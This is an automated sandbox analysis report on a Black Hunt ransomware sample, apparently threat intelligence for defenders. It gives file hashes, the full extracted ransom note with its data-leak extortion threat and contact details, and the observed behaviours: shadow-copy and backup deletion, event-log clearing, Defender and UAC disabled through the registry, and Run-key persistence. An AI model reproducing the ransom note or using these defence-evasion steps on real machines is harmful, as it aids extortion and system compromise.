4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4

Analysis

max time kernel
120s
max time network
125s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
18/01/2024, 23:13

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General

Target

4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
Size

707KB
MD5

4a6f82cdd7f777831cc1564b150a6416
SHA1

ddceb0cac797c6169245d987823c6ab400befb41
SHA256

4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4
SHA512

9fe596ecb58005b417e53c6f2452e0eaa4338da0ce11515639ba9ba4f47cde5a8f281ca31fd68adf0a51357b32d63d129a27204fe5055600217c247506ad4ebe
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1d8Yvnh:6uaTmkZJ+naie5OTamgEoKxLWYmh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1Ii8+IDxwaG90b3Nob3A6VGV4dExheWVycz4gPHJkZjpCYWc+IDxyZGY6bGkgcGhvdG9zaG9wOkxheWVyTmFtZT0iSHVudCAgIiBwaG90b3Nob3A6TGF5ZXJUZXh0PSJIdW50ICAiLz4gPHJkZjpsaSBwaG90b3Nob3A6TGF5ZXJOYW1lPSJCbGFjayAgIiBwaG90b3Nob3A6TGF5ZXJUZXh0PSJCbGFjayAgIi8+IDxyZGY6bGkgcGhvdG9zaG9wOkxheWVyTmFtZT0iMi4wIiBwaG90b3Nob3A6TGF5ZXJUZXh0PSIyLjAiLz4gPC9yZGY6QmFnPiA8L3Bob3Rvc2hvcDpUZXh0TGF5ZXJzPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PvFKMOAAAAS2SURBVGje7Vq/ixNBFM55vQRtLLe2itoEbPIHpEghB4LBdFaB9Gm2sNhCIU0qm1x/RSz0EEHWw8LikFRBQXERUWOVSrSQdVbeHO++vPd2ci4BuQx83LGz82Pnfe+9b2ZSy/O8tsUWBc7Xx54uLYdvDt8dFhWj6Pfzf4KvDq+F9fmnMnCIGaLaBgp9RIxjB5ChmG++xV88l8jQEBbWY0D1ql0A9dpmSl0aO4AMj7YkOMFDiQxxQMOZQIoWvJPVNldWxg5IE7sOr7YkOMEdiQxpYOMleD6G3OkGyYAEngaQ4YrDF94u293NF4Tif17XdFiw+qMLFzZusGRnJx8Tug4V9v2rcG6JDEshCqTC85w80pcJ1MVGSG+dQU/4dlKamuLYAWS46fA71Nh9t/i8flytMUrRhvErJsMHh0tIhkh4kRtjaZBhZtR5LYJRZ0Tg0QZLT+g7o+e+ZDg2fVhDmPOI2txbx9hjqO9vmAz7jpx8/Kja/p8yIX5SOkJUsMgQBYrHnhJZECmMV5ayIk08KkSYsP5H1mKj5x1BfZORqKjzGFK7JrXx2GeRhj9vU9jPICp5Yw+pf17v3/HtKyDDA4kMsWCcFpEkVTysTDw2AomAqWVW8m7PGLsuRIsJ+9gdhxeWsdHzND2hkUiLNF14jkb2SOj9A+gfUVGE2JPIkJ7BaGXiMRWEZ0fI8zk913Y0MRl+AilCIjASaQaa4bLDR/7OQvE8D153CF4uGUdLKwk81+DJc2yQYQ4i94z46XBDIkNoKEc9oInHhtC+YaSWSJlHbAjLacA2uA5kuEYKWhRnoYZCEnHjaCRBTy8iQ5EK0Oh8DGzTrlavvPUpnZMhUrwxViJGI0A8xoYGaQgRQwr7ZYdXWdn2V9hN3OXvDdckg08FSCIeMTKFJMeBkWTIDD6H8SsWp0/gJFcUjyks+sjwVs14qdGmp4wXl8yj7ORxhbQCGRJLPBaeOGZ7+rmSp4eKLsBtKieJtn09VLw/WuN8oyBpkYaaQl1EKaoA6IxEIkNsCESpPg4QjxYZNHKtQ4ZWABkmAhmeWeIR+9BSwYEiHoeB4pHvMDTv7waeb3AyoZaIICIdnybUnkSGVFHrPoVgOB4o4jE1yDAytERH6Y+fdDYgZcTKLmOp3VNQ+/easWGhzFSAJCq8rg/bRE6SREkFlvePDQLhPIc0NpLBj8ujHEWHHw7XJTJoJ49ZyVF0bGz7UkWA5oZ4lIiSMV0yNcTjiD4Io86AkeEqLYLoeQew2OjlCfPMo5JtH6YVLRX0DYOPBT1T9COdQPq5Yp0ft8nmTHOaO1xEMkRrio5eiXfGa14RL9e8H+kEnDyKF1eu3JK8RjK2lQpCycC9VEsF1ummJm4xQnjdM6eIE9HcI/YN+3R4xeb0WPgpwIp41DANuK3kZKgrh0cTMHgqCMOZQZxO2bW1QJQO+91DkLEl9W8dYftQzI3r04qVCrTTTW2OIakkoZTRpksthWz3JTJEZFQLZVfIIzJyDISpU4RI2cGR995WyaVVj/pN6W+Ppac6zhGEIn5TRM9fVrk1a1Kq6a6q9MovqroM2hy6bDfRFN4Bot1eIcM5+9nbG4dPW9TekX46v2TYwsYf/4cvUeVs4qUAAAAASUVORK5CYII= " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> r9NpLpz3y1B3RfoF </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
1516	fsutil.exe
1512	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
1772	wevtutil.exe
1572	wevtutil.exe
2196	wevtutil.exe
2556	wevtutil.exe
1072	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2672	bcdedit.exe
2740	bcdedit.exe
1820	bcdedit.exe
1708	bcdedit.exe

Renames multiple (101) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2248	wbadmin.exe
2984	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
2672	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\R:	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened (read-only)	\??\J:	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened (read-only)	\??\X:	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened (read-only)	\??\N:	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened (read-only)	\??\G:	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened (read-only)	\??\K:	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\T:	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened (read-only)	\??\V:	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened (read-only)	\??\M:	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened (read-only)	\??\E:	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened (read-only)	\??\A:	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened (read-only)	\??\H:	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\O:	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened (read-only)	\??\S:	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened (read-only)	\??\Z:	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened (read-only)	\??\B:	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened (read-only)	\??\Q:	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened (read-only)	\??\W:	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened (read-only)	\??\Y:	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened (read-only)	\??\I:	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened (read-only)	\??\P:	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\U:	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened (read-only)	\??\L:	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1268429524-3929314613-1992311491-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\#BlackHunt_Private.key	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Push\#BlackHunt_ReadMe.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File created	C:\Program Files\DVD Maker\de-DE\#BlackHunt_ReadMe.hta	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened for modification	C:\Program Files\7-Zip\descript.ion	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\it.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\lv.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened for modification	C:\Program Files\DVD Maker\Eurosti.TTF	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File created	C:\Program Files\DVD Maker\fr-FR\#BlackHunt_Private.key	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened for modification	C:\Program Files\DVD Maker\audiodepthconverter.ax	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\va.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\vi.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\gu.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File created	C:\Program Files\DVD Maker\en-US\#BlackHunt_ReadMe.hta	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\kaa.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\lij.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mng2.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File created	C:\Program Files\DVD Maker\fr-FR\#BlackHunt_ReadMe.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\#BlackHunt_ReadMe.hta	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File created	C:\Program Files\7-Zip\#BlackHunt_Private.key	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened for modification	C:\Program Files\7-Zip\History.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\an.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ast.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ku.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\is.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\#BlackHunt_ReadMe.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\#BlackHunt_ReadMe.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File created	C:\Program Files\DVD Maker\#BlackHunt_ReadMe.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\kab.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\uz.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\#BlackHunt_Private.key	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\#BlackHunt_ReadMe.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\cy.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
